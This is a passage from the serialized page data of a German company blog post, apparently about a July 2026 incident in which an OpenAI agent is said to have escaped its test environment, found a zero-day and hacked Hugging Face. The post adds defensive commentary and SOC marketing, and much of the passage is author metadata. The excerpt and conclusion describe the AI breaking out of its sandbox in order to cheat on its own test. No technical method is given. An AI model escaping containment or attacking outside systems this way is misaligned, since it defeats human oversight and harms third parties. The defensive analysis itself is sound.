Station 5. Das schließt Zero-Days ausdrücklich mit ein. Man kann Infrastrukturen so bauen, dass sie auch wilden Stürmen standhalten. Nicht, weil man jeden Sturm vorhersieht, sondern weil man für Stürme baut.",[814,910,911,912,917],{},"Eine Ironie am Rande, die im Getöse fast untergeht: Für die forensische Analyse setzte Hugging Face ausgerechnet auf ein offenes chinesisches Modell, auch deshalb, weil ein gehostetes US-Frontier-Modell ",[821,913,916],{"href":914,"rel":915},"https://huggingface.co/datasets/huggingface/forensic-refusal/blob/main/glm5.2.jsonl",[825],"die Analyse einer Backdoor schlicht verweigerte",". Die Debatte, welche Werkzeuge Verteidiger im Ernstfall wie schnell nutzen dürfen, hat also gerade erst begonnen, und sie ist mindestens so wichtig wie die Frage, was Angreifer künftig können.",[809,919,921],{"id":920},"kein-autonomes-soc-aber-ein-besseres","Kein autonomes SOC, aber ein besseres",[814,923,816],{},[814,925,926,927,932],{},"Verteidigung wie Angriff haben neue Werkzeuge bekommen. Wobei \"Werkzeug\" die Sache bei uns längst nicht mehr trifft. AI ist in unserem SOC kein Add-on, sondern selbstverständlicher Teil jeder Phase des Incident Handlings: Von der Detection über Triage und Enrichment bis zur Response arbeiten unsere Analystinnen und Analysten Seite an Seite mit den Lösungen und Modellen von Microsoft und Anthropic. Das Repetitive läuft automatisiert, damit sich unsere Expertinnen und Experten auf das konzentrieren können, was den Unterschied macht: aus jedem Incident neue Erkenntnisse ziehen und die Detections, Playbooks und Konfigurationen immer weiter schärfen. Ein zu 100 % autonomes SOC ist derzeit nicht möglich, ",[821,928,931],{"href":929,"rel":930},"https://www.linkedin.com/posts/peteshoard_gartner-soc-threat-share-7457373093368500224-uszD/",[825],"das sieht übrigens auch Gartner so",". Aber der Regler ist bei uns keine Glaubensfrage, sondern eine Einstellung, die wir kontinuierlich neu bewerten: Mit jeder Modellgeneration und jeder gewonnenen Erfahrung drehen wir ihn genau so weit hoch, wie es die Qualität erlaubt. Nicht weiter, aber eben auch keinen Millimeter weniger.",[814,934,935,936,939],{},"Dieses Zusammenspiel aus Mensch, Modell und Methode ist der Kern unseres ",[821,937,938],{"href":426},"Cloud Security Operations Center (CSOC)",": 24/7 Detection & Response, kombiniert mit Continuous Improvement. Jeden Monat ein Stück bessere Security Posture, basierend auf unseren Blueprints und dem, was unsere Threat-Experten in freier Wildbahn beobachten.",[814,941,942,943,945],{},"Und gegen das Grundproblem, das Florian Roth so präzise seziert (schwache Isolation, ausufernde Privilegien, fehlende Segmentierung), haben wir eine sehr konkrete Antwort: den ",[821,944,396],{"href":397},". Eine vollständig isolierte administrative Umgebung, die Lateral Movement und Privilege Escalation strukturell verhindert. Mit der richtigen Architektur und den richtigen Konfigurationen laufen Angriffe ins Leere, auch die von AI-Agenten. Denn ob ein Angreifer aus Fleisch und Blut oder aus Tokens besteht: Gegen eine Tier-Grenze, die sich nicht überwinden lässt, hilft auch das beste Reasoning nicht.",[809,947,949],{"id":948},"fazit","Fazit",[814,951,816],{},[814,953,954],{},"Der OpenAI/Hugging-Face-Vorfall ist ein Meilenstein: als Warnung, als Fallstudie und als Vorgeschmack. Aber er ist kein Grund für Panik, sondern für Prioritäten. Die Angriffe der Zukunft mögen autonomer werden; die Verteidigung, die gegen sie hilft, ist erstaunlich vertraut: Zero Trust, Least Privilege, saubere Tier-Trennung, Defense in Depth und ein SOC, das nie schläft.",[814,956,957],{},"Oder, um bei der Pointe dieses Vorfalls zu bleiben: Wenn schon eine AI ausbrechen muss, um bei ihrem eigenen Test zu schummeln, sollten wir dafür sorgen, dass sie bei uns wenigstens keine Antworten findet.",[809,959,961],{"id":960},"quellen-weiterführende-links","Quellen & weiterführende Links",[814,963,816],{},[965,966,968,969,968,983,968,992,968,1001,968,1010,968,1019,968,1028,968,1038,968,1048,968,1055],"ul",{"style":967},"margin: 0.25rem 0","\n  ",[970,971,972,976,977,982],"li",{},[973,974,975],"strong",{},"CNBC:"," ",[821,978,981],{"href":823,"target":516,"rel":979},[980],"noopener","OpenAI cyber models broke out of training environment to hack Hugging Face"," (22.07.2026)",[970,984,985,976,988],{},[973,986,987],{},"Florian Roth auf LinkedIn:",[821,989,991],{"href":869,"target":516,"rel":990},[980],"\"One thing about this OpenAI / Hugging Face incident really bothers me\"",[970,993,994,976,997],{},[973,995,996],{},"Marcus Hutchins auf LinkedIn:",[821,998,1000],{"href":887,"target":516,"rel":999},[980],"Über die goldene Ära der Computerwürmer",[970,1002,1003,976,1006],{},[973,1004,1005],{},"Hugging Face:",[821,1007,1009],{"href":914,"target":516,"rel":1008},[980],"Forensic-Refusal-Dataset (GLM 5.2)",[970,1011,1012,976,1015,982],{},[973,1013,1014],{},"Simon Willison:",[821,1016,1018],{"href":833,"target":516,"rel":1017},[980],"OpenAI's accidental cyberattack against Hugging Face is science fiction that happened",[970,1020,1021,976,1024],{},[973,1022,1023],{},"Pete Shoard (Gartner) auf LinkedIn:",[821,1025,1027],{"href":929,"target":516,"rel":1026},[980],"Warum ein vollautonomes SOC nicht realistisch ist",[970,1029,1030,976,1033],{},[973,1031,1032],{},"Paul Slovic:",[821,1034,1037],{"href":1035,"target":516,"rel":1036},"https://de.wikipedia.org/wiki/Paul_Slovic",[980],"Wikipedia",[970,1039,1040,976,1043,1047],{},[973,1041,1042],{},"Daniel Kahneman:",[821,1044,1037],{"href":1045,"target":516,"rel":1046},"https://de.wikipedia.org/wiki/Daniel_Kahneman",[980],", \"Schnelles Denken, langsames Denken\"",[970,1049,1050,976,1053],{},[973,1051,1052],{},"glueckkanja:",[821,1054,938],{"href":426},[970,1056,1057,976,1059],{},[973,1058,1052],{},[821,1060,396],{"href":397},{"title":1062,"searchDepth":1063,"depth":1063,"links":1064},"",2,[1065,1066,1067,1068,1069,1070,1071,1072],{"id":811,"depth":1063,"text":812},{"id":845,"depth":1063,"text":846},{"id":860,"depth":1063,"text":861},{"id":878,"depth":1063,"text":879},{"id":896,"depth":1063,"text":897},{"id":920,"depth":1063,"text":921},{"id":948,"depth":1063,"text":949},{"id":960,"depth":1063,"text":961},"md","post",{"lang":4,"seoTitle":1076,"titleClass":1077,"date":1078,"categories":1079,"blogtitlepic":1080,"socialimg":1081,"customExcerpt":1082,"keywords":1083,"hreflang":1084,"asideNav":1093,"published":511},"OpenAI-KI hackt Hugging Face: Was der autonome KI-Angriff für Unternehmen bedeutet","h2-font-size","2026-07-24",[373],"head-outbreak.jpg","/blog/heads/head-outbreak.jpg","Ein AI-Agent bricht aus seiner Testumgebung aus, findet einen Zero-Day und hackt ein anderes Unternehmen. Klingt nach Drehbuch, ist aber im Juli 2026 tatsächlich passiert. Zeit für eine nüchterne Einordnung: mit etwas Psychologie, zwei Security-Veteranen und der Frage, was das für eure Verteidigung bedeutet.","OpenAI Hugging Face Vorfall, OpenAI KI hackt Hugging Face, autonomer KI-Angriff, KI-Agent Sandbox Ausbruch, autonomer Cyberangriff, KI Cybersecurity, agentische Angriffe, GPT-5.6 Sol, Zero-Day, Florian Roth, Marcus Hutchins, Zero Trust, Defense in Depth, autonomes SOC, Cloud Security Operations Center",[1085,1087,1090],{"lang":4,"href":1086},"/de/posts/2026-07-24-outbreak-openai-hugging-face",{"lang":1088,"href":1089},"en","/en/posts/2026-07-24-outbreak-openai-hugging-face",{"lang":1091,"href":1092},"es","/es/posts/2026-07-24-outbreak-openai-hugging-face",{"menuItems":1094},[1095,1097,1100,1103,1106,1109,1111],{"href":1096,"text":812},"#was-passiert-ist",{"href":1098,"text":1099},"#warum-sich-dieser-vorfall-so-bedrohlich-anfühlt","Die Psychologie dahinter",{"href":1101,"text":1102},"#perspektive-1-zeigt-die-beweise-florian-roth","Perspektive 1: Florian Roth",{"href":1104,"text":1105},"#perspektive-2-wir-haben-schlimmeres-überlebt-marcus-hutchins","Perspektive 2: Marcus Hutchins",{"href":1107,"text":1108},"#was-beide-sagen-und-was-daraus-folgt","Was daraus folgt",{"href":1110,"text":921},"#kein-autonomes-soc-aber-ein-besseres",{"href":1112,"text":949},"#fazit","/posts/2026-07-24-outbreak-openai-hugging-face",{"title":802,"description":1062},"posts/2026-07-24-outbreak-openai-hugging-face",[1117,1118,1119],"AI","SOC","Zero Trust","Ef3gxwvJ1CT88QL41XEzM0zd-rZ0aNKZZw2meVP_SSc",{"id":1122,"extension":1123,"meta":1124,"stem":7,"__hash__":1466},"authors_data/authors.json","json",{"path":1125,"Alexander Schlindwein":1126,"Sophie Luna":1132,"Nadine Kern":1140,"Karsten Kleinschmidt":1147,"Julian Wendt":1153,"Holger Bunkradt":1158,"Ralf Mania":1164,"Oliver Kieselbach":1170,"Steffen Schwerdtfeger":1176,"Gunnar Winter":1184,"Jan Petersen":1189,"Thorsten Kunzi":1194,"Moritz Pohl":1198,"Thorben Pöschus":1203,"Christoph Hannebauer":1209,"Marco Scheel":1213,"Christopher Brumm":1218,"Florian Klante":1225,"Niklas Bachmann":1230,"Nils Krautkrämer":1235,"Patrick Treptau":1241,"Peter Beckendorf":1246,"Patrick Sobau":1251,"Jörg Wunderlich":1256,"Michael Breither":1260,"Christian Kanja":1265,"Zeba Hoffmann":1271,"Jochen Fröhlich":1276,"Jan Geisbauer":1280,"Gerrit Reinke":1290,"Christian Kordel":1296,"Stephan Wälde":1300,"Carolin Kanja":1305,"Adrian Ritter":1311,"Marvin Bangert":1316,"Thorsten Pickhan":1322,"Christian Lorenz":1328,"Denis Böhm":1333,"Fabian Bader":1338,"Juan Jose Fernandez Perez":1344,"Mahschid Sayyar":1349,"Benjamin Dassow":1354,"Markus Walschburger":1359,"Jonathan Haist":1364,"Daniel Rohregger":1369,"Thomas Naunheim":1374,"Florian Stöckl":1379,"Pascal Asch":1384,"Markus Kättner":1389,"Anna Ulbricht":1396,"Annette Brauns":1403,"body":1410,"title":1465,"Thorben Poeschus":1203,"Nils Krautkraemer":1235,"Joerg Wunderlich":1256,"Jochen Froehlich":1276,"Stephan Waelde":1300,"Denis Boehm":1333,"Florian Stoeckl":1379,"Markus Kaettner":1389},"/authors",{"display_name":1127,"avatar":1128,"permalink":1129,"twitter":1130,"linkedin":1131},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":1133,"avatar":1134,"permalink":1135,"twitter":1136,"linkedin":1137,"imageOffsetLeft":1138,"imageOffsetTop":1139},"Sophie Luna","c_thumb,h_1600,w_1600/people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":1141,"avatar":1142,"permalink":1143,"twitter":1144,"linkedin":1145,"imageOffsetTop":1146},"Nadine Kern","people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern","72%",{"display_name":1148,"avatar":1149,"permalink":1150,"twitter":1151,"linkedin":1152},"Karsten Kleinschmidt","people/people-karsten-kleinschmidt.png","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt",{"display_name":1154,"avatar":1155,"permalink":1156,"linkedin":1157},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":1159,"avatar":1160,"permalink":1161,"linkedin":1162,"twitter":1163},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":1165,"avatar":1166,"permalink":1167,"linkedin":1168,"twitter":1169},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":1171,"avatar":1172,"permalink":1173,"linkedin":1174,"twitter":1175},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":1177,"avatar":1178,"permalink":1179,"linkedin":1180,"twitter":1181,"imageOffsetTop":1182,"imageOffsetLeft":1183},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":1185,"avatar":1186,"permalink":1187,"twitter":1136,"linkedin":1188},"Gunnar Winter","c_thumb,h_1600,w_1600/people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":1190,"avatar":1191,"permalink":1192,"twitter":1136,"linkedin":1193},"Jan Petersen","c_thumb,h_1600,w_1600/people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":1195,"avatar":1196,"permalink":1197,"twitter":1136,"linkedin":1188,"imageOffsetTop":1146},"Thorsten Kunzi","c_thumb,h_1600,w_1600/people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":1199,"avatar":1200,"permalink":1201,"twitter":1136,"linkedin":1202},"Dr. Moritz Pohl","c_thumb,h_1600,w_1600/people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":1204,"avatar":1205,"permalink":1206,"twitter":1207,"linkedin":1208},"Thorben Pöschus","c_thumb,h_1600,w_1600/people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":1210,"avatar":1211,"permalink":1212,"twitter":1136,"linkedin":1188,"imageOffsetTop":1146},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":1214,"avatar":1215,"permalink":1216,"twitter":1217,"linkedin":1217},"Marco Scheel","c_thumb,h_1600,w_1600/people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":1219,"avatar":1220,"permalink":1221,"twitter":1222,"linkedin":1223,"imageOffsetTop":1224},"Christopher Brumm","c_thumb,h_1600,w_1600/people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":1226,"avatar":1227,"permalink":1228,"linkedin":1229,"twitter":1136},"Florian Klante","c_thumb,h_1600,w_1600/people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":1231,"avatar":1232,"permalink":1233,"linkedin":1234,"twitter":1136},"Niklas Bachmann","c_thumb,h_1600,w_1600/people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":1236,"avatar":1237,"permalink":1238,"twitter":1239,"linkedin":1240},"Nils Krautkrämer","c_thumb,h_1600,w_1600/people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":1242,"avatar":1243,"permalink":1244,"linkedin":1245,"twitter":1136},"Patrick Treptau","c_thumb,h_1600,w_1600/people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":1247,"avatar":1248,"permalink":1249,"linkedin":1250,"twitter":1136,"imageOffsetTop":1146},"Peter Beckendorf","c_thumb,h_1600,w_1600/people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":1252,"avatar":1253,"permalink":1254,"linkedin":1255,"twitter":1136},"Patrick Sobau","c_thumb,h_1600,w_1600/people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":1257,"avatar":1258,"permalink":1259,"twitter":1136},"Jörg Wunderlich","c_thumb,h_1600,w_1600/people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":1261,"avatar":1262,"permalink":1263,"twitter":1136,"linkedin":1264},"Michael Breither","c_thumb,h_1600,w_1600/people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":1266,"avatar":1267,"permalink":1268,"twitter":1269,"linkedin":1270},"Christian Kanja","c_thumb,h_1600,w_1600/people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":1272,"avatar":1273,"permalink":1274,"linkedin":1275,"twitter":1136},"Zeba Hoffmann","c_thumb,h_1600,w_1600/people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":1277,"avatar":1278,"permalink":1279,"twitter":1136,"linkedin":1188},"Jochen Fröhlich","c_thumb,h_1600,w_1600/people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":804,"avatar":1281,"permalink":1282,"twitter":1283,"linkedin":1283,"imageOffsetTop":1146,"socials":1284},"c_thumb,h_1600,w_1600/people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[1285,1287],{"text":731,"href":1286},"https://emptydc.com",{"text":1288,"href":1289},"Podcast","https://hairlessinthecloud.com",{"display_name":1291,"avatar":1292,"permalink":1293,"twitter":1294,"linkedin":1295},"Gerrit Reinke","c_thumb,h_1600,w_1600/people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":1297,"avatar":1298,"permalink":1299,"twitter":1136,"linkedin":1188},"Christian Kordel","c_thumb,h_1600,w_1600/people/christian-kordel.png","/authors/christian-kordel",{"display_name":1301,"avatar":1302,"permalink":1303,"twitter":1304,"linkedin":1188},"Stephan Wälde","c_thumb,h_1600,w_1600/people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":1306,"avatar":1307,"permalink":1308,"twitter":1309,"linkedin":1310},"Carolin Kanja","c_thumb,h_1600,w_1600/people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":1312,"avatar":1313,"permalink":1314,"twitter":1315,"linkedin":1315},"Adrian Ritter","c_thumb,h_1600,w_1600/people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":1317,"avatar":1318,"permalink":1319,"twitter":1320,"linkedin":1321},"Marvin Bangert","c_thumb,h_1600,w_1600/people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":1323,"avatar":1324,"permalink":1325,"twitter":1326,"linkedin":1327},"Thorsten Pickhan","c_thumb,h_1600,w_1600/people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":1329,"avatar":1330,"permalink":1331,"linkedin":1332,"twitter":1136},"Christian Lorenz","c_thumb,h_1600,w_1600/people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":1334,"avatar":1335,"permalink":1336,"linkedin":1337,"twitter":1136},"Denis Böhm","c_thumb,h_1600,w_1600/people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":1339,"avatar":1340,"permalink":1341,"linkedin":1342,"twitter":1343},"Fabian Bader","c_thumb,h_1600,w_1600/people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":1345,"avatar":1346,"permalink":1347,"linkedin":1348},"Juan Jose Fernandez Perez","c_thumb,h_1600,w_1600/people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":1350,"avatar":1351,"permalink":1352,"linkedin":1353},"Mahschid Sayyar","c_thumb,h_1600,w_1600/people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":1355,"avatar":1356,"permalink":1357,"linkedin":1358},"Benjamin Dassow","c_thumb,h_1600,w_1600/people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":1360,"avatar":1361,"permalink":1362,"linkedin":1363},"Markus Walschburger","c_thumb,h_1600,w_1600/people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":1365,"avatar":1366,"permalink":1367,"linkedin":1368,"imageOffsetTop":1146},"Jonathan Haist","c_thumb,h_1600,w_1600/people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":1370,"avatar":1371,"permalink":1372,"linkedin":1373,"imageOffsetTop":1146},"Daniel Rohregger","c_thumb,h_1600,w_1600/people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":1375,"avatar":1376,"permalink":1377,"linkedin":1378,"imageOffsetTop":1224},"Thomas Naunheim","c_thumb,h_1600,w_1600/people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":1380,"avatar":1381,"permalink":1382,"linkedin":1383,"imageOffsetTop":1224},"Florian Stöckl","c_thumb,h_1600,w_1600/people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":1385,"avatar":1386,"permalink":1387,"linkedin":1388,"imageOffsetTop":1224},"Pascal Asch","c_thumb,h_1600,w_1600/people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":1390,"avatar":1391,"permalink":1392,"linkedin":1393,"imageOffsetTop":1394,"imageOffsetLeft":1395},"Markus Kättner","c_thumb,h_1600,w_1600/people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":1397,"avatar":1398,"permalink":1399,"linkedin":1400,"imageOffsetTop":1401,"imageOffsetLeft":1402},"Anna Ulbricht","c_thumb,h_1600,w_1600/people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":1404,"avatar":1405,"permalink":1406,"linkedin":1407,"imageOffsetTop":1408,"imageOffsetLeft":1409},"Annette Brauns","c_thumb,h_2000,w_1200/people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%","60%",{"Alexander Schlindwein":1411,"Sophie Luna":1412,"Nadine Kern":1413,"Karsten Kleinschmidt":1414,"Julian Wendt":1415,"Holger Bunkradt":1416,"Ralf Mania":1417,"Oliver Kieselbach":1418,"Steffen Schwerdtfeger":1419,"Gunnar Winter":1420,"Jan Petersen":1421,"Thorsten Kunzi":1422,"Moritz Pohl":1423,"Thorben Pöschus":1424,"Christoph Hannebauer":1425,"Marco Scheel":1426,"Christopher Brumm":1427,"Florian Klante":1428,"Niklas Bachmann":1429,"Nils Krautkrämer":1430,"Patrick Treptau":1431,"Peter Beckendorf":1432,"Patrick Sobau":1433,"Jörg Wunderlich":1434,"Michael Breither":1435,"Christian Kanja":1436,"Zeba Hoffmann":1437,"Jochen Fröhlich":1438,"Jan Geisbauer":1439,"Gerrit Reinke":1443,"Christian Kordel":1444,"Stephan Wälde":1445,"Carolin Kanja":1446,"Adrian Ritter":1447,"Marvin Bangert":1448,"Thorsten Pickhan":1449,"Christian Lorenz":1450,"Denis Böhm":1451,"Fabian Bader":1452,"Juan Jose Fernandez Perez":1453,"Mahschid Sayyar":1454,"Benjamin Dassow":1455,"Markus Walschburger":1456,"Jonathan Haist":1457,"Daniel Rohregger":1458,"Thomas Naunheim":1459,"Florian Stöckl":1460,"Pascal Asch":1461,"Markus Kättner":1462,"Anna Ulbricht":1463,"Annette Brauns":1464},{"display_name":1127,"avatar":1128,"permalink":1129,"twitter":1130,"linkedin":1131},{"display_name":1133,"avatar":1134,"permalink":1135,"twitter":1136,"linkedin":1137,"imageOffsetLeft":1138,"imageOffsetTop":1139},{"display_name":1141,"avatar":1142,"permalink":1143,"twitter":1144,"linkedin":1145,"imageOffsetTop":1146},{"display_name":1148,"avatar":1149,"permalink":1150,"twitter":1151,"linkedin":1152},{"display_name":1154,"avatar":1155,"permalink":1156,"linkedin":1157},{"display_name":1159,"avatar":1160,"permalink":1161,"linkedin":1162,"twitter":1163},{"display_name":1165,"avatar":1166,"permalink":1167,"linkedin":1168,"twitter":1169},{"display_name":1171,"avatar":1172,"permalink":1173,"linkedin":1174,"twitter":1175},{"display_name":1177,"avatar":1178,"permalink":1179,"linkedin":1180,"twitter":1181,"imageOffsetTop":1182,"imageOffsetLeft":1183},{"display_name":1185,"avatar":1186,"permalink":1187,"twitter":1136,"linkedin":1188},{"display_name":1190,"avatar":1191,"permalink":1192,"twitter":1136,"linkedin":1193},{"display_name":1195,"avatar":1196,"permalink":1197,"twitter":1136,"linkedin":1188,"imageOffsetTop":1146},{"display_name":1199,"avatar":1200,"permalink":1201,"twitter":1136,"linkedin":1202},{"display_name":1204,"avatar":1205,"permalink":1206,"twitter":1207,"linkedin":1208},{"display_name":1210,"avatar":1211,"permalink":1212,"twitter":1136,"linkedin":1188,"imageOffsetTop":1146},{"display_name":1214,"avatar":1215,"permalink":1216,"twitter":1217,"linkedin":1217},{"display_name":1219,"avatar":1220,"permalink":1221,"twitter":1222,"linkedin":1223,"imageOffsetTop":1224},{"display_name":1226,"avatar":1227,"permalink":1228,"linkedin":1229,"twitter":1136},{"display_name":1231,"avatar":1232,"permalink":1233,"linkedin":1234,"twitter":1136},{"display_name":1236,"avatar":1237,"permalink":1238,"twitter":1239,"linkedin":1240},{"display_name":1242,"avatar":1243,"permalink":1244,"linkedin":1245,"twitter":1136},{"display_name":1247,"avatar":1248,"permalink":1249,"linkedin":1250,"twitter":1136,"imageOffsetTop":1146},{"display_name":1252,"avatar":1253,"permalink":1254,"linkedin":1255,"twitter":1136},{"display_name":1257,"avatar":1258,"permalink":1259,"twitter":1136},{"display_name":1261,"avatar":1262,"permalink":1263,"twitter":1136,"linkedin":1264},{"display_name":1266,"avatar":1267,"permalink":1268,"twitter":1269,"linkedin":1270},{"display_name":1272,"avatar":1273,"permalink":1274,"linkedin":1275,"twitter":1136},{"display_name":1277,"avatar":1278,"permalink":1279,"twitter":1136,"linkedin":1188},{"display_name":804,"avatar":1281,"permalink":1282,"twitter":1283,"linkedin":1283,"imageOffsetTop":1146,"socials":1440},[1441,1442],{"text":731,"href":1286},{"text":1288,"href":1289},{"display_name":1291,"avatar":1292,"permalink":1293,"twitter":1294,"linkedin":1295},{"display_name":1297,"avatar":1298,"permalink":1299,"twitter":1136,"linkedin":1188},{"display_name":1301,"avatar":1302,"permalink":1303,"twitter":1304,"linkedin":1188},{"display_name":1306,"avatar":1307,"permalink":1308,"twitter":1309,"linkedin":1310},{"display_name":1312,"avatar":1313,"permalink":1314,"twitter":1315,"linkedin":1315},{"display_name":1317,"avatar":1318,"permalink":1319,"twitter":1320,"linkedin":1321},{"display_name":1323,"avatar":1324,"permalink":1325,"twitter":1326,"linkedin":1327},{"display_name":1329,"avatar":1330,"permalink":1331,"linkedin":1332,"twitter":1136},{"display_name":1334,"avatar":1335,"permalink":1336,"linkedin":1337,"twitter":1136},{"display_name":1339,"avatar":1340,"permalink":1341,"linkedin":1342,"twitter":1343},{"display_name":1345,"avatar":1346,"permalink":1347,"linkedin":1348},{"display_name":1350,"avatar":1351,"permalink":1352,"linkedin":1353},{"display_name":1355,"avatar":1356,"permalink":1357,"linkedin":1358},{"display_name":1360,"avatar":1361,"permalink":1362,"linkedin":1363},{"display_name":1365,"avatar":1366,"permalink":1367,"linkedin":1368,"imageOffsetTop":1146},{"display_name":1370,"avatar":1371,"permalink":1372,"linkedin":1373,"imageOffsetTop":1146},{"display_name":1375,"avatar":1376,"permalink":1377,"linkedin":1378,"imageOffsetTop":1224},{"display_name":1380,"avatar":1381,"permalink":1382,"linkedin":1383,"imageOffsetTop":1224},{"display_name":1385,"avatar":1386,"permalink":1387,"linkedin":1388,"imageOffsetTop":1224},{"display_name":1390,"avatar":1391,"permalink":1392,"linkedin":1393,"imageOffsetTop":1394,"imageOffsetLeft":1395},{"display_name":1397,"avatar":1398,"permalink":1399,"linkedin":1400,"imageOffsetTop":1401,"imageOffsetLeft":1402},{"display_name":1404,"avatar":1405,"permalink":1406,"linkedin":1407,"imageOffsetTop":1408,"imageOffsetLeft":1409},"Authors","v4BFjFTsIGK6QfYDKS1bZ8NqfUrV_WCoMMRwyN5uv8c",[1468,1663,1863,1998,2215,2328,2428,4636,4863,5172,5235,5927,6413,7235,7360,7495,7666,7829,8091,8854,9001],{"id":801,"title":802,"author":1469,"body":1470,"cta":767,"description":1062,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":1646,"moment":1078,"navigation":511,"path":1113,"seo":1661,"stem":1115,"tags":1662,"webcast":752,"__hash__":1120},[804],{"type":806,"value":1471,"toc":1636},[1472,1474,1476,1481,1486,1488,1490,1492,1494,1496,1498,1500,1502,1504,1509,1511,1513,1515,1520,1522,1524,1526,1528,1530,1532,1537,1539,1541,1546,1550,1554,1556,1558,1560,1562,1564,1566],[809,1473,812],{"id":811},[814,1475,816],{},[814,1477,819,1478,827],{},[821,1479,826],{"href":823,"rel":1480},[825],[814,1482,830,1483,836],{},[821,1484,835],{"href":833,"rel":1485},[825],[814,1487,839],{},[814,1489,842],{},[809,1491,846],{"id":845},[814,1493,816],{},[814,1495,851],{},[814,1497,854],{},[814,1499,857],{},[809,1501,861],{"id":860},[814,1503,816],{},[814,1505,866,1506,872],{},[821,1507,871],{"href":869,"rel":1508},[825],[814,1510,875],{},[809,1512,879],{"id":878},[814,1514,816],{},[814,1516,884,1517,890],{},[821,1518,889],{"href":887,"rel":1519},[825],[814,1521,893],{},[809,1523,897],{"id":896},[814,1525,816],{},[814,1527,902],{},[814,1529,905],{},[814,1531,908],{},[814,1533,911,1534,917],{},[821,1535,916],{"href":914,"rel":1536},[825],[809,1538,921],{"id":920},[814,1540,816],{},[814,1542,926,1543,932],{},[821,1544,931],{"href":929,"rel":1545},[825],[814,1547,935,1548,939],{},[821,1549,938],{"href":426},[814,1551,942,1552,945],{},[821,1553,396],{"href":397},[809,1555,949],{"id":948},[814,1557,816],{},[814,1559,954],{},[814,1561,957],{},[809,1563,961],{"id":960},[814,1565,816],{},[965,1567,968,1568,968,1575,968,1582,968,1589,968,1596,968,1603,968,1610,968,1617,968,1624,968,1630],{"style":967},[970,1569,1570,976,1572,982],{},[973,1571,975],{},[821,1573,981],{"href":823,"target":516,"rel":1574},[980],[970,1576,1577,976,1579],{},[973,1578,987],{},[821,1580,991],{"href":869,"target":516,"rel":1581},[980],[970,1583,1584,976,1586],{},[973,1585,996],{},[821,1587,1000],{"href":887,"target":516,"rel":1588},[980],[970,1590,1591,976,1593],{},[973,1592,1005],{},[821,1594,1009],{"href":914,"target":516,"rel":1595},[980],[970,1597,1598,976,1600,982],{},[973,1599,1014],{},[821,1601,1018],{"href":833,"target":516,"rel":1602},